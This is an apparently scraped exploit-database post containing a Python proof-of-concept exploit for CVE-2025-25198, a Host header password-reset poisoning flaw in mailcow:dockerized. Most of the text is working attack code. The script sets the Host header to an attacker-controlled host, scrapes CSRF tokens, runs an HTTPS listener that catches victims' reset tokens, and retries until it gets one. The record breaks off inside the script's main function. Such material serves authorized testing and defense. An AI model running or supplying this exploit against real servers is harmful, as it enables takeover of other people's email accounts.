{"id":41063,"date":"2026-02-16T12:46:48","date_gmt":"2026-02-16T12:46:48","guid":{"rendered":"http:\/\/localhost\/?p=41063"},"modified":"2026-02-16T12:46:48","modified_gmt":"2026-02-16T12:46:48","slug":"mailcow-dockerized-host-header-password-reset-poisoning","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41063","title":{"rendered":"\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning_PACKETSTORM:215692"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:44:24&#8243;,&#8221;description&#8221;:&#8221;mailcow: dockerized versions prior to 2025-01a are vulnerable to Host header poisoning in the password reset workflow. The application incorrectly trusts the Host header when generating password reset links, allowing an attacker to inject an&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 mailcow: Dockerized Host Header Password Reset Poisoning&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215692&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-25198&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: mailcow: dockerized \\u003c 2025-01a &#8211; Host Header Password Reset Poisoning (CVE-2025-25198)\\n    # Google Dork: N\/A\\n    # Date: 2026-02-16\\n    # Exploit Author: Iam Alvarez (AKA Groppoxx \/ Maizeravla)\\n    # Vendor Homepage: https:\/\/mailcow.email\\n    # Software Link: https:\/\/github.com\/mailcow\/mailcow-dockerized\\n    # Version: \\u003c 2025-01a\\n    # Tested on: Ubuntu 22.04.5 LTS, Docker 26.1.3, Docker Compose 2.27.1; mailcow:dockerized 2025-01\\n    # CVE: CVE-2025-25198\\n    # PoC: https:\/\/github.com\/Groppoxx\/CVE-2025-25198-PoC.git\\n    \\n    # Description:\\n    # A flaw in mailcow\u2019s password reset allows Host header poisoning to generate a\\n    # reset link pointing to an attacker-controlled domain, potentially enabling account\\n    # takeover if a user clicks the poisoned link. Patched in 2025-01a.\\n    \\n    # References:\\n    # &#8211; NVD: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-25198\\n    # &#8211; Vendor advisory: https:\/\/github.com\/mailcow\/mailcow-dockerized\/security\/advisories\/GHSA-3mvx-qw4r-fcqf\\n    \\n    # Impact:\\n    # Account takeover via poisoned password reset link.\\n    \\n    # Usage (authorized testing only):\\n    #   sudo python3 cve_2025_25198.py \\\\\\n    #     &#8211;listen-host 0.0.0.0 \\\\\\n    #     &#8211;base-url https:\/\/mail.target.tld \\\\\\n    #     &#8211;username victim@target.tld \\\\\\n    #     &#8211;attacker-host your.ip.or.dns \\\\\\n    #     &#8211;http2\\n    \\n    # Note: The PoC sets the Host header to the attacker-controlled domain\/IP\\n    # to demonstrate password reset link poisoning.\\n    \\n    # Requirements:\\n    #   Python 3.8+ ; pip install httpx  (or &#8216;requests&#8217; for HTTP\/1.1)\\n    #   openssl (to generate a self-signed cert for the local HTTPS listener)\\n    \\n    # Legal:\\n    #   For authorized security testing only. Do NOT target live websites.\\n    \\n    from __future__ import annotations\\n    \\n    import argparse\\n    import http.server\\n    import os\\n    import re\\n    import ssl\\n    import subprocess\\n    import sys\\n    import threading\\n    from datetime import datetime, timezone\\n    from http import HTTPStatus\\n    from http.server import SimpleHTTPRequestHandler\\n    from typing import Optional, Dict, List, Tuple\\n    from urllib.parse import urlparse, parse_qs\\n    \\n    try:\\n        import requests\\n    except Exception:\\n        requests = None\\n    \\n    RESET = \\&#8221;\\\\033[0m\\&#8221;\\n    BOLD = \\&#8221;\\\\033[1m\\&#8221;\\n    DIM = \\&#8221;\\\\033[2m\\&#8221;\\n    GREEN = \\&#8221;\\\\033[32m\\&#8221;\\n    CYAN = \\&#8221;\\\\033[36m\\&#8221;\\n    YELLOW = \\&#8221;\\\\033[33m\\&#8221;\\n    MAGENTA = \\&#8221;\\\\033[35m\\&#8221;\\n    \\n    ANSI_RE = re.compile(r&#8217;\\\\x1b\\\\[[0-9;]*m&#8217;)\\n    \\n    def visible_len(s: str) -\\u003e int:\\n        return len(ANSI_RE.sub(&#8221;, s))\\n    \\n    class Console:\\n        def __init__(self, only_final: bool = False) -\\u003e None:\\n            self.only_final = only_final\\n    \\n        def log(self, msg: str) -\\u003e None:\\n            if self.only_final:\\n                return\\n            ts = datetime.now(timezone.utc).isoformat(timespec=\\&#8221;seconds\\&#8221;).replace(\\&#8221;+00:00\\&#8221;, \\&#8221;Z\\&#8221;)\\n            print(f\\&#8221;{DIM}[{ts}]{RESET} {msg}\\&#8221;, flush=True)\\n    \\n        def banner(self, link: str, source: str = \\&#8221;response\\&#8221;) -\\u003e None:\\n            host = urlparse(link).hostname or \\&#8221;\\&#8221;\\n            title = f\\&#8221;  {BOLD}{GREEN}RESET LINK FOUND!{RESET}  {DIM}({source}){RESET}\\&#8221;\\n            link_line = f\\&#8221;  {CYAN}{link}{RESET}\\&#8221;\\n            target_line = f\\&#8221;  Target: {BOLD}{host}{RESET}\\&#8221; if host else \\&#8221;\\&#8221;\\n            max_content = max(\\n                visible_len(title),\\n                visible_len(link_line),\\n                visible_len(target_line) if host else 0\\n            )\\n            inner_width = max(80, min(150, max_content))\\n            line = \\&#8221;\u2550\\&#8221; * inner_width\\n            def box_line(content: str) -\\u003e str:\\n                pad = inner_width &#8211; visible_len(content)\\n                if pad \\u003c 0:\\n                    pad = 0\\n                return f\\&#8221;{MAGENTA}\u2551{RESET}{content}{&#8216; &#8216; * pad}{MAGENTA}\u2551{RESET}\\&#8221;\\n            print(\\&#8221;\\&#8221;)\\n            print(f\\&#8221;{MAGENTA}\u2554{line}\u2557{RESET}\\&#8221;)\\n            print(box_line(title))\\n            print(f\\&#8221;{MAGENTA}\u255f{line}\u2562{RESET}\\&#8221;)\\n            print(box_line(link_line))\\n            if host:\\n                print(box_line(target_line))\\n            print(f\\&#8221;{MAGENTA}\u255a{line}\u255d{RESET}\\&#8221;)\\n            print(\\&#8221;\\&#8221;)\\n    \\n    console = Console(False)\\n    \\n    RGX_TOKEN_IN_URL = re.compile(r&#8217;reset-password\\\\?token=([^\\\\s\\&#8221;\\u0026\\\\&#8217;\\u003c\\u003e]+)&#8217;, re.I)\\n    RGX_TOKEN_FALLBACK = re.compile(r&#8217;\\\\b([a-f0-9]{4,12}(?:-[a-f0-9]{4,12}){3,6})\\\\b&#8217;, re.I)\\n    \\n    def links_from_text(html: str, base_url: str) -\\u003e List[str]:\\n        if not html:\\n            return []\\n        out: List[str] = []\\n        for m in RGX_TOKEN_IN_URL.finditer(html):\\n            out.append(f\\&#8221;{base_url.rstrip(&#8216;\/&#8217;)}\/reset-password?token={m.group(1)}\\&#8221;)\\n        for m in RGX_TOKEN_FALLBACK.finditer(html):\\n            cand = f\\&#8221;{base_url.rstrip(&#8216;\/&#8217;)}\/reset-password?token={m.group(1)}\\&#8221;\\n            if cand not in out:\\n                out.append(cand)\\n        return out\\n    \\n    def links_from_headers(headers: Dict[str, str], base_url: str) -\\u003e List[str]:\\n        loc = headers.get(\\&#8221;Location\\&#8221;) or headers.get(\\&#8221;location\\&#8221;)\\n        return links_from_text(loc, base_url) if loc else []\\n    \\n    class ListenerState:\\n        def __init__(self) -\\u003e None:\\n            self.event = threading.Event()\\n            self.last_link: Optional[str] = None\\n    \\n    class LoggingHTTPSHandler(SimpleHTTPRequestHandler):\\n        server_version = \\&#8221;PoisonedHostTest\/host-only\\&#8221;\\n        error_content_type = \\&#8221;text\/plain\\&#8221;\\n    \\n        def log_message(self, *_: object) -\\u003e None:\\n            return\\n    \\n        def _record(self, code: int) -\\u003e None:\\n            parsed = urlparse(self.path)\\n            token = parse_qs(parsed.query).get(\\&#8221;token\\&#8221;) or []\\n            if token:\\n                link = f\\&#8221;{self.server.target_base_url.rstrip(&#8216;\/&#8217;)}\/reset-password?token={token[0]}\\&#8221;\\n                self.server.state.last_link = link\\n                self.server.state.event.set()\\n            if not console.only_final:\\n                console.log(f\\&#8221;{YELLOW}[HIT]{RESET} {self.command} {self.path} \u2190 {self.client_address[0]} [{code}]\\&#8221;)\\n    \\n        def do_GET(self) -\\u003e None:\\n            if self.path.startswith(\\&#8221;\/favicon\\&#8221;):\\n                self.send_response(HTTPStatus.NO_CONTENT); self.end_headers(); return\\n            self.send_response(HTTPStatus.OK)\\n            self.send_header(\\&#8221;Content-Type\\&#8221;, \\&#8221;text\/html; charset=utf-8\\&#8221;)\\n            self.end_headers()\\n            token = parse_qs(urlparse(self.path).query).get(\\&#8221;token\\&#8221;, [\\&#8221;\\&#8221;])[0]\\n            body = f\\&#8221;\\u003c!doctype html\\u003e\\u003cmeta charset=utf-8\\u003e\\u003ctitle\\u003eOK\\u003c\/title\\u003e\\u003cp\\u003etoken: \\u003cb\\u003e{token}\\u003c\/b\\u003e\\u003c\/p\\u003e\\&#8221;\\n            self.wfile.write(body.encode(\\&#8221;utf-8\\&#8221;))\\n            self._record(HTTPStatus.OK)\\n    \\n        def do_POST(self) -\\u003e None:\\n            _ = self.rfile.read(int(self.headers.get(\\&#8221;Content-Length\\&#8221;, \\&#8221;0\\&#8221;) or 0))\\n            self.send_response(HTTPStatus.NO_CONTENT); self.end_headers()\\n            self._record(HTTPStatus.NO_CONTENT)\\n    \\n    def ensure_self_signed(cert_file: str, key_file: str, cn: str = \\&#8221;localhost\\&#8221;, days: int = 365) -\\u003e None:\\n        if os.path.exists(cert_file) and os.path.exists(key_file):\\n            return\\n        console.log(\\&#8221;[+] Generating self-signed certificate\u2026\\&#8221;)\\n        subprocess.run([\\n            \\&#8221;openssl\\&#8221;, \\&#8221;req\\&#8221;, \\&#8221;-x509\\&#8221;, \\&#8221;-newkey\\&#8221;, \\&#8221;rsa:2048\\&#8221;,\\n            \\&#8221;-keyout\\&#8221;, key_file, \\&#8221;-out\\&#8221;, cert_file, \\&#8221;-days\\&#8221;, str(days),\\n            \\&#8221;-nodes\\&#8221;, \\&#8221;-subj\\&#8221;, f\\&#8221;\/CN={cn}\\&#8221;\\n        ], check=True)\\n    \\n    def require_root_for_privileged_port(port: int) -\\u003e None:\\n        if port \\u003c 1024:\\n            # POSIX check: require root if binding \\u003c1024\\n            if hasattr(os, \\&#8221;geteuid\\&#8221;):\\n                if os.geteuid() != 0:\\n                    print(\\&#8221;[-] Port 443 requires root. Re-run with sudo.\\&#8221;, file=sys.stderr)\\n                    sys.exit(2)\\n            # On non-POSIX (e.g., Windows) we don&#8217;t enforce sudo.\\n    \\n    def start_https_listener(host: str, port: int, cert: str, key: str, base_url: str, state: ListenerState):\\n        ensure_self_signed(cert, key)\\n        httpd = http.server.ThreadingHTTPServer((host, port), LoggingHTTPSHandler)\\n        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\\n        ctx.load_cert_chain(certfile=cert, keyfile=key)\\n        httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)\\n        httpd.target_base_url = base_url\\n        httpd.state = state\\n        threading.Thread(target=httpd.serve_forever, name=\\&#8221;https-listener\\&#8221;, daemon=True).start()\\n        console.log(f\\&#8221;[+] HTTPS listener on https:\/\/{host}:{port}\\&#8221;)\\n        return httpd\\n    \\n    def add_cookie_string_to_session(session, cookie_header: Optional[str], base_url: str) -\\u003e None:\\n        if not cookie_header:\\n            return\\n        host = urlparse(base_url).hostname\\n        for part in re.split(r&#8217;;\\\\s*|,\\\\s*&#8217;, cookie_header.strip()):\\n            if not part or \\&#8221;=\\&#8221; not in part:\\n                continue\\n            name, val = part.split(\\&#8221;=\\&#8221;, 1)\\n            try:\\n                session.cookies.set(name.strip(), val.strip(), domain=host)\\n            except Exception:\\n                pass\\n    \\n    class HttpClient:\\n        def __init__(self, base_url: str, use_http2: bool, cookie_header: Optional[str]) -\\u003e None:\\n            self.base_url = base_url.rstrip(\\&#8221;\/\\&#8221;)\\n            self.use_http2 = use_http2\\n            if use_http2:\\n                try:\\n                    import httpx\\n                except Exception as e:\\n                    raise RuntimeError(\\&#8221;Install httpx for &#8211;http2:  pip install httpx\\&#8221;) from e\\n                # TLS verification disabled intentionally for testing environments\\n                self.session = httpx.Client(http2=True, verify=False, timeout=20.0, follow_redirects=False)\\n            else:\\n                if requests is None:\\n                    raise RuntimeError(\\&#8221;Missing &#8216;requests&#8217; for HTTP\/1.1.\\&#8221;)\\n                self.session = requests.Session()\\n            add_cookie_string_to_session(self.session, cookie_header, self.base_url)\\n    \\n        def get(self, url: str, headers: Dict[str, str], allow_redirects: bool):\\n            if self.use_http2:\\n                return self.session.get(url, headers=headers or {}, follow_redirects=allow_redirects)\\n            # requests: disable TLS verification explicitly\\n            return self.session.get(url, headers=headers or {}, verify=False, timeout=20, allow_redirects=allow_redirects)\\n    \\n        def post(self, url: str, headers: Dict[str, str], data: Dict[str, str], allow_redirects: bool):\\n            if self.use_http2:\\n                return self.session.post(url, headers=headers or {}, data=data or {}, follow_redirects=allow_redirects)\\n            return self.session.post(url, headers=headers or {}, data=data or {}, verify=False, timeout=20, allow_redirects=allow_redirects)\\n    \\n    RGX_INPUTS = [\\n        re.compile(r&#8217;name=[\\&#8221;\\\\&#8217;]csrf_token[\\&#8221;\\\\&#8217;]\\\\s+value=[\\&#8221;\\\\&#8217;]([0-9a-zA-Z_\\\\-.\/+=:]+)[\\&#8221;\\\\&#8217;]&#8217;),\\n        re.compile(r&#8217;name=[\\&#8221;\\\\&#8217;]_csrf[\\&#8221;\\\\&#8217;]\\\\s+value=[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;),\\n        re.compile(r&#8217;name=[\\&#8221;\\\\&#8217;]csrf[\\&#8221;\\\\&#8217;]\\\\s+value=[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;),\\n        re.compile(r&#8217;name=[\\&#8221;\\\\&#8217;]csrf_token_reset[\\&#8221;\\\\&#8217;]\\\\s+value=[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;),\\n    ]\\n    RGX_META = re.compile(r&#8217;\\u003cmeta\\\\s+name=[\\&#8221;\\\\&#8217;]csrf-token[\\&#8221;\\\\&#8217;]\\\\s+content=[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;, re.I)\\n    RGX_JS = [\\n        re.compile(r&#8217;csrf_token\\\\s*[:=]\\\\s*[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;, re.I),\\n        re.compile(r&#8217;window\\\\.\\\\w*csrf\\\\w*\\\\s*=\\\\s*[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;, re.I),\\n    ]\\n    COOKIE_CSRF = [\\&#8221;csrf_token\\&#8221;, \\&#8221;_csrf\\&#8221;, \\&#8221;XSRF-TOKEN\\&#8221;, \\&#8221;CSRF-TOKEN\\&#8221;]\\n    HEX64 = re.compile(r&#8217;^[0-9a-f]{64}$&#8217;, re.I)\\n    \\n    def _csrf_candidates_html(html: str) -\\u003e List[str]:\\n        if not html:\\n            return []\\n        cands: List[str] = []\\n        for rgx in RGX_INPUTS:\\n            m = rgx.search(html)\\n            if m: cands.append(m.group(1))\\n        m = RGX_META.search(html)\\n        if m: cands.append(m.group(1))\\n        for rgx in RGX_JS:\\n            m = rgx.search(html)\\n            if m: cands.append(m.group(1))\\n        for m in re.finditer(r&#8217;csrf_token=([0-9a-zA-Z_\\\\-.\/+=:]{16,})&#8217;, html):\\n            cands.append(m.group(1))\\n        seen: set[str] = set()\\n        out: List[str] = []\\n        for v in cands:\\n            if v not in seen:\\n                seen.add(v); out.append(v)\\n        return out\\n    \\n    def _csrf_from_set_cookie(headers: Dict[str, str]) -\\u003e Optional[str]:\\n        sc = headers.get(\\&#8221;Set-Cookie\\&#8221;) or headers.get(\\&#8221;set-cookie\\&#8221;)\\n        if not sc: return None\\n        for cookie in re.split(r&#8217;,(?=\\\\s*\\\\w+=)&#8217;, sc):\\n            for name in COOKIE_CSRF:\\n                m = re.search(rf&#8217;\\\\b{name}=([^;,\\\\s]+)&#8217;, cookie, re.I)\\n                if m: return m.group(1)\\n        return None\\n    \\n    def _best_csrf(candidates: List[str]) -\\u003e Optional[str]:\\n        if not candidates: return None\\n        for c in candidates:\\n            if HEX64.fullmatch(c): return c\\n        return candidates[0]\\n    \\n    def nav_headers(base_url: str, attacker_host: str) -\\u003e Dict[str, str]:\\n        return {\\n            \\&#8221;User-Agent\\&#8221;: \\&#8221;Mozilla\/5.0 (X11; Linux x86_64; rv:128.0) Gecko\/20100101 Firefox\/128.0\\&#8221;,\\n            \\&#8221;Accept\\&#8221;: \\&#8221;text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\\&#8221;,\\n            \\&#8221;Accept-Language\\&#8221;: \\&#8221;en-US,en;q=0.5\\&#8221;,\\n            \\&#8221;Accept-Encoding\\&#8221;: \\&#8221;gzip, deflate, br\\&#8221;,\\n            \\&#8221;Upgrade-Insecure-Requests\\&#8221;: \\&#8221;1\\&#8221;,\\n            \\&#8221;Sec-Fetch-Dest\\&#8221;: \\&#8221;document\\&#8221;,\\n            \\&#8221;Sec-Fetch-Mode\\&#8221;: \\&#8221;navigate\\&#8221;,\\n            \\&#8221;Sec-Fetch-Site\\&#8221;: \\&#8221;same-origin\\&#8221;,\\n            \\&#8221;Sec-Fetch-User\\&#8221;: \\&#8221;?1\\&#8221;,\\n            \\&#8221;Te\\&#8221;: \\&#8221;trailers\\&#8221;,\\n            \\&#8221;Referer\\&#8221;: base_url.rstrip(\\&#8221;\/\\&#8221;) + \\&#8221;\/\\&#8221;,\\n            \\&#8221;Origin\\&#8221;: base_url,\\n            \\&#8221;Host\\&#8221;: attacker_host,\\n        }\\n    \\n    def fetch_csrf_auto(client: HttpClient, base_url: str, attacker_host: str, username: str) -\\u003e str:\\n        paths = [\\&#8221;\\&#8221;, \\&#8221;\/\\&#8221;, \\&#8221;\/index.php\\&#8221;, \\&#8221;\/reset-password\\&#8221;, \\&#8221;\/login\\&#8221;, \\&#8221;\/auth\\&#8221;, \\&#8221;\/user\/reset\\&#8221;]\\n        h1 = nav_headers(base_url, attacker_host)\\n        for p in paths:\\n            url = client.base_url + p\\n            try:\\n                r = client.get(url, headers=h1, allow_redirects=True)\\n                text = r.text if hasattr(r, \\&#8221;text\\&#8221;) else r.content.decode(\\&#8221;utf-8\\&#8221;, \\&#8221;ignore\\&#8221;)\\n                headers = dict(getattr(r, \\&#8221;headers\\&#8221;, {}))\\n                token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))\\n                if token: return token\\n            except Exception as e:\\n                console.log(f\\&#8221;[!] CSRF GET failed at {url}: {e}\\&#8221;)\\n        h2 = dict(h1); h2.pop(\\&#8221;Host\\&#8221;, None)\\n        for p in paths:\\n            url = client.base_url + p\\n            try:\\n                r = client.get(url, headers=h2, allow_redirects=True)\\n                text = r.text if hasattr(r, \\&#8221;text\\&#8221;) else r.content.decode(\\&#8221;utf-8\\&#8221;, \\&#8221;ignore\\&#8221;)\\n                headers = dict(getattr(r, \\&#8221;headers\\&#8221;, {}))\\n                token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))\\n                if token: return token\\n            except Exception as e:\\n                console.log(f\\&#8221;[!] CSRF GET (no Host) failed at {url}: {e}\\&#8221;)\\n        pre_headers = {\\n            \\&#8221;User-Agent\\&#8221;: h1[\\&#8221;User-Agent\\&#8221;], \\&#8221;Accept\\&#8221;: h1[\\&#8221;Accept\\&#8221;], \\&#8221;Accept-Language\\&#8221;: h1[\\&#8221;Accept-Language\\&#8221;],\\n            \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/x-www-form-urlencoded\\&#8221;, \\&#8221;Host\\&#8221;: attacker_host,\\n            \\&#8221;Referer\\&#8221;: base_url.rstrip(\\&#8221;\/\\&#8221;) + \\&#8221;\/\\&#8221;, \\&#8221;Origin\\&#8221;: base_url, \\&#8221;Upgrade-Insecure-Requests\\&#8221;: \\&#8221;1\\&#8221;,\\n        }\\n        try:\\n            r = client.post(client.base_url + \\&#8221;\/reset-password\\&#8221;, headers=pre_headers,\\n                            data={\\&#8221;username\\&#8221;: username, \\&#8221;pw_reset_request\\&#8221;: \\&#8221;\\&#8221;, \\&#8221;csrf_token\\&#8221;: \\&#8221;\\&#8221;}, allow_redirects=True)\\n            text = r.text if hasattr(r, \\&#8221;text\\&#8221;) else r.content.decode(\\&#8221;utf-8\\&#8221;, \\&#8221;ignore\\&#8221;)\\n            headers = dict(getattr(r, \\&#8221;headers\\&#8221;, {}))\\n            token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))\\n            if token: return token\\n        except Exception as e:\\n            console.log(f\\&#8221;[!] Preflight POST for CSRF failed: {e}\\&#8221;)\\n        raise RuntimeError(\\&#8221;Unable to auto-extract csrf_token.\\&#8221;)\\n    \\n    def looks_like_csrf_error(body: str, status: int) -\\u003e bool:\\n        if status in (400, 403): return True\\n        text = (body or \\&#8221;\\&#8221;).lower()\\n        return any(k in text for k in (\\&#8221;csrf\\&#8221;, \\&#8221;invalid token\\&#8221;, \\&#8221;expired token\\&#8221;, \\&#8221;forgery\\&#8221;, \\&#8221;bad token\\&#8221;))\\n    \\n    def run_sequence(client: HttpClient, base_url: str, username: str, csrf: str,\\n                    attacker_host: str) -\\u003e Tuple[Optional[str], Dict[str, object], str]:\\n        ua = \\&#8221;Mozilla\/5.0 (X11; Linux x86_64; rv:128.0) Gecko\/20100101 Firefox\/128.0\\&#8221;\\n        headers = {\\n            \\&#8221;User-Agent\\&#8221;: ua,\\n            \\&#8221;Accept\\&#8221;: \\&#8221;text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\\&#8221;,\\n            \\&#8221;Accept-Language\\&#8221;: \\&#8221;en-US,en;q=0.5\\&#8221;,\\n            \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/x-www-form-urlencoded\\&#8221;,\\n            \\&#8221;Host\\&#8221;: attacker_host,\\n            \\&#8221;Referer\\&#8221;: base_url.rstrip(&#8216;\/&#8217;) + \\&#8221;\/\\&#8221;,\\n            \\&#8221;Origin\\&#8221;: base_url,\\n            \\&#8221;Upgrade-Insecure-Requests\\&#8221;: \\&#8221;1\\&#8221;,\\n        }\\n        r1 = client.get(base_url, headers=headers, allow_redirects=True)\\n        body1 = r1.text if hasattr(r1, \\&#8221;text\\&#8221;) else r1.content.decode(\\&#8221;utf-8\\&#8221;, \\&#8221;ignore\\&#8221;)\\n        reset_ep = base_url.rstrip(\\&#8221;\/\\&#8221;) + \\&#8221;\/reset-password\\&#8221;\\n        payload = {\\&#8221;username\\&#8221;: username, \\&#8221;pw_reset_request\\&#8221;: \\&#8221;\\&#8221;, \\&#8221;csrf_token\\&#8221;: csrf}\\n        r2 = client.post(reset_ep, headers=headers, data=payload, allow_redirects=False)\\n        body2 = r2.text if hasattr(r2, \\&#8221;text\\&#8221;) else r2.content.decode(\\&#8221;utf-8\\&#8221;, \\&#8221;ignore\\&#8221;)\\n        r3 = client.get(base_url.rstrip(\\&#8221;\/\\&#8221;) + \\&#8221;\/\\&#8221;, headers=headers, allow_redirects=False)\\n        body3 = r3.text if hasattr(r3, \\&#8221;text\\&#8221;) else r3.content.decode(\\&#8221;utf-8\\&#8221;, \\&#8221;ignore\\&#8221;)\\n        found: List[str] = []\\n        found += links_from_headers(dict(getattr(r1, \\&#8221;headers\\&#8221;, {})), base_url)\\n        found += links_from_headers(dict(getattr(r2, \\&#8221;headers\\&#8221;, {})), base_url)\\n        found += links_from_headers(dict(getattr(r3, \\&#8221;headers\\&#8221;, {})), base_url)\\n        found += links_from_text(body1, base_url)\\n        found += links_from_text(body2, base_url)\\n        found += links_from_text(body3, base_url)\\n        seen: set[str] = set()\\n        clean = [l for l in found if not (l in seen or seen.add(l))]\\n        summary = {\\n            \\&#8221;get1\\&#8221;: getattr(r1, \\&#8221;status_code\\&#8221;, None),\\n            \\&#8221;post\\&#8221;: getattr(r2, \\&#8221;status_code\\&#8221;, None),\\n            \\&#8221;get2\\&#8221;: getattr(r3, \\&#8221;status_code\\&#8221;, None),\\n            \\&#8221;links_found\\&#8221;: clean,\\n        }\\n        return (clean[0] if clean else None), summary, body2\\n    \\n    def attempt_once(base_url: str, username: str, attacker_host: str,\\n                    use_http2: bool,\\n                    cookie_header: Optional[str], csrf_override: Optional[str]) -\\u003e Tuple[Optional[str], Dict[str, object]]:\\n        client = HttpClient(base_url, use_http2, cookie_header)\\n        if csrf_override:\\n            csrf = csrf_override\\n            console.log(f\\&#8221;[+] Using provided CSRF: {csrf[:16]}\u2026\\&#8221;)\\n        else:\\n            csrf = fetch_csrf_auto(client, base_url, attacker_host, username)\\n            console.log(f\\&#8221;[+] Auto CSRF: {csrf[:16]}\u2026\\&#8221;)\\n        console.log(\\&#8221;[\\u003e] Sending sequence with poisoned Host\\&#8221;)\\n        link, summary, post_body = run_sequence(client, base_url, username, csrf, attacker_host)\\n        if not link:\\n            post_status = int(summary.get(\\&#8221;post\\&#8221;) or 0)\\n            if not csrf_override and looks_like_csrf_error(post_body, post_status):\\n                console.log(\\&#8221;[!] CSRF invalid\/expired. Rotating session and retrying once\u2026\\&#8221;)\\n                client = HttpClient(base_url, use_http2, None)\\n                csrf2 = fetch_csrf_auto(client, base_url, attacker_host, username)\\n                console.log(f\\&#8221;[+] Auto CSRF (retry): {csrf2[:16]}\u2026\\&#8221;)\\n                link, summary, _ = run_sequence(client, base_url, username, csrf2, attacker_host)\\n        return link, summary\\n    \\n    def run_until_success(listen_host: str, base_url: str, username: str,\\n                        attacker_host: str, use_http2: bool,\\n                        interval: float, max_attempts: int,\\n                        cookie_header: Optional[str], csrf_override: Optional[str]) -\\u003e Optional[str]:\\n        # Force port 443 and require sudo\/root on POSIX\\n        listen_port = 443\\n        require_root_for_privileged_port(listen_port)\\n    \\n        state = ListenerState()\\n        srv = start_https_listener(listen_host, listen_port, \\&#8221;server.pem\\&#8221;, \\&#8221;server.key\\&#8221;, base_url, state)\\n        try:\\n            attempt = 0\\n            while True:\\n                attempt += 1\\n                if max_attempts and attempt \\u003e max_attempts:\\n                    console.log(\\&#8221;[i] Reached &#8211;max-attempts without success.\\&#8221;)\\n                    return None\\n                try:\\n                    link, _summary = attempt_once(base_url, username, attacker_host, use_http2, cookie_header, csrf_override)\\n                except Exception as e:\\n                    console.log(f\\&#8221;[!] Attempt #{attempt} error: {e}\\&#8221;)\\n                    link = None\\n                if link:\\n                    console.banner(link, source=\\&#8221;response\\&#8221;)\\n                    return link\\n                if state.event.wait(timeout=interval):\\n                    link = state.last_link\\n                    if link:\\n                        console.banner(link, source=\\&#8221;listener\\&#8221;)\\n                    return link\\n                console.log(f\\&#8221;[i] Attempt #{attempt} yielded no link. Retrying in {int(interval)}s\u2026\\&#8221;)\\n        except KeyboardInterrupt:\\n            console.log(\\&#8221;[+] Aborted by user.\\&#8221;)\\n            return None\\n        finally:\\n            try: srv.shutdown()\\n            except Exception: pass\\n    \\n    def main() -\\u003e None:\\n        p = argparse.ArgumentParser(\\n            description=\\&#8221;Host header poisoning tester (Mailcow CVE-2025-25198) \u2014 HTTPS listener on port 443 (requires sudo\/root), auto-cookie + auto-CSRF (or &#8211;csrf), retry, Host-only\\&#8221;\\n        )\\n        p.add_argument(\\&#8221;&#8211;listen-host\\&#8221;, required=True)\\n        p.add_argument(\\&#8221;&#8211;base-url\\&#8221;, required=True)\\n        p.add_argument(\\&#8221;&#8211;username\\&#8221;, required=True)\\n        p.add_argument(\\&#8221;&#8211;attacker-host\\&#8221;, required=True)\\n        p.add_argument(\\&#8221;&#8211;http2\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Use HTTP\/2 (recommended)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;interval\\&#8221;, type=float, default=8.0, help=\\&#8221;Seconds between attempts and click wait window\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;max-attempts\\&#8221;, type=int, default=0, help=\\&#8221;0=infinite; \\u003e0 limits attempts\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;cookie\\&#8221;, default=None, help=\\&#8221;(Optional) inject cookies, e.g., PHPSESSID=&#8230;\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;csrf\\&#8221;, default=None, help=\\&#8221;(Optional) provide csrf_token explicitly (auto if omitted)\\&#8221;)\\n        p.add_argument(\\&#8221;&#8211;only-final\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Hide progress; print only the final link banner\\&#8221;)\\n    \\n        args = p.parse_args()\\n        global console\\n        console = Console(only_final=args.only_final)\\n        if not args.http2 and requests is None:\\n            console.log(\\&#8221;[!] Install &#8216;requests&#8217; or use &#8211;http2 with &#8216;httpx&#8217;.\\&#8221;); sys.exit(2)\\n        if not args.http2:\\n            console.log(\\&#8221;[i] Running over HTTP\/1.1 (requests). For best parity, use &#8211;http2.\\&#8221;)\\n    \\n        link = run_until_success(\\n            listen_host=args.listen_host,\\n            base_url=args.base_url,\\n            username=args.username,\\n            attacker_host=args.attacker_host,\\n            use_http2=args.http2,\\n            interval=args.interval,\\n            max_attempts=args.max_attempts,\\n            